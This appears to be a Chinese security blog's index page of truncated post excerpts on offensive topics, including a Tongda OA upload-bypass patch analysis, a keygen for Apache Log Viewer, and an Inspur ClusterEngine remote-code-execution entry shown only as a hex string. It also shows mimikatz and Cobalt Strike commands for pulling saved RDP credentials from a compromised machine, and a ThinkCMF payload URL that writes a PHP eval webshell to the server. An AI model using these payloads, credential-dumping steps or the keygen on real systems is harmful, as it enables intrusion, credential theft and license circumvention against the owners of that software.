通达OA任意文件上传+任意文件包含分析
通达OA官方于2020-03-13发布了安全更新,修复了任意文件上传(2013、2013adv、2015、2016、2017、V11)和文件包含(V11)漏洞,从官网下到源码解密后,简单看了下
直接看主流的2017、V11产品吧,这个系列产品有全版本的变量覆盖问题
V11、2017任意上传以2017为例
补丁文件路径:2020_A1\2017版\ispirit\im\upload.php
左侧为原始代码,右侧为补丁,可以看到直接将鉴权的文件从else里释放了出来,避免了第5行传入P值导致的权限绕过问题
继续往下看任意文件上传的问题
$TYPE = $_POST["TYPE"];//获取TYPE$DEST_UID = $_POST["DEST_UID"];//获取DEST_UID(接收方ID)$dataBack = array();if (($DEST_UID != "") && !td_verify_ids($ids)) { $dataBack = array("status" ...
还原JS Map文件
做项目时发现一个站点为前后分离的架构,翻了下发现了map文件,采用restore-source-tree还原时报错,记录下解决过程
安装先从git克隆到本地
git clone https://github.com/laysent/restore-source-tree.git
然后进入文件夹
npm install
这里建议挂个代理、VPN,国内很慢
这里在win下会报错
λ npm cinstall npm WARN deprecated [email protected]: � Thanks for using Babel: we recommend using babel-preset-env now: please read https://bab ...
Apache Log Viewer 5.X 注册机
抽空研究了下ALV的注册机制,写了个注册机
分析ALV的注册方法是unlockCodeToolStripMenuItem_Click方法,当点击Unlock按钮时会触发注册事件并调用Class2类中的smethod_1、smethod_02个方法进行校验,详细流程见如下代码
unlockCodeToolStripMenuItem_Click方法
private void unlockCodeToolStripMenuItem_Click(object sender, EventArgs e) { string text = this.prefs_0.Key; if (!InputForm.smethod_3("Apache Logs Viewer | " + Class96.smethod_264(), Class96.smethod_143(), ref text)) { return; } if (text != null) { text = text.Trim(); } if (st ...
浪潮ClusterEngineV4.0远程代码执行
c1eaa03b761144d4b351aa8bd40bf7eb6cf248c937441009eef2d13e0b49b0ddd8f41f80c4819f78f66fbf9d0d42c1b42e93892e9631c73b0ab43677392f07637fe67c34bce60fa22292c451a4f8da0894d4424fd875617c575d58066488eca95c75256ba75f2b066b26dafd85390092c8b25e275be03fda676b9c45b92b7cbba662310b16f94b50d6404506a4d2b5984600f81223dec5dacbf03641bd817613fe3d81a3fdfff83c6c46b1f2e0a5b9fc9f10e7fe4f4e6ede39e9aea36596aab061f40d338f03940fb815b30e63cb64991adbbe89801abec5bdf17692d03b50a0950765671dbcf33f054bc88f2892e336b54b7f3c24e53b259 ...
获取远程主机保存的RDP凭据密码
拿下一台运维机,上了个CS,发现曾经连接过几台服务器并且保存了凭据,网上查了圈发现CS不支持交互式mimikatz,记录下获取远程主机RDP凭据。
Windows保存RDP凭据的目录是C:\Users\用户名\AppData\Local\Microsoft\Credentials
可通过命令行获取,执行: cmdkey /list或powerpick Get-ChildItem C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\ -Force注意:cmdkey /list命令务必在Session会话下执行,system下执行无结果。
使用cobalt strike中的mimikatz可以获取一部分接下来要用到的masterkey和pbData
mimikatz dpapi::cred /in:C:\Users\USERNAME\AppData\Local\Microsoft\Credentials\SESSIONID
输出应类似
**BLOB** dwVersion : 00000001 - 1 ...
ThinkCMF缓存getshell
前一阵子接到个项目,目标站是thinkCMF2.X搭建的,试过网上很多方法无法拿下,本地搭了个环境测试了下,最终成功拿下
由于thinkcmf2.x使用了thinkphp3.x作为开发框架,默认情况下启用了报错日志并且开启了模板缓存,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马m.php
日志文件格式为YY_MM_DD.log,如当前日期为2019年12月12日,日志文件为19_12_12.log,完整路径为data/runtime/Logs/Portal/19_12_12.log
测试成功的环境Linux
宝塔[PHP7.2]
Windwos
PHPstudy PHP7.1
Payload1:首先访问http://target.domain/?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22]) ...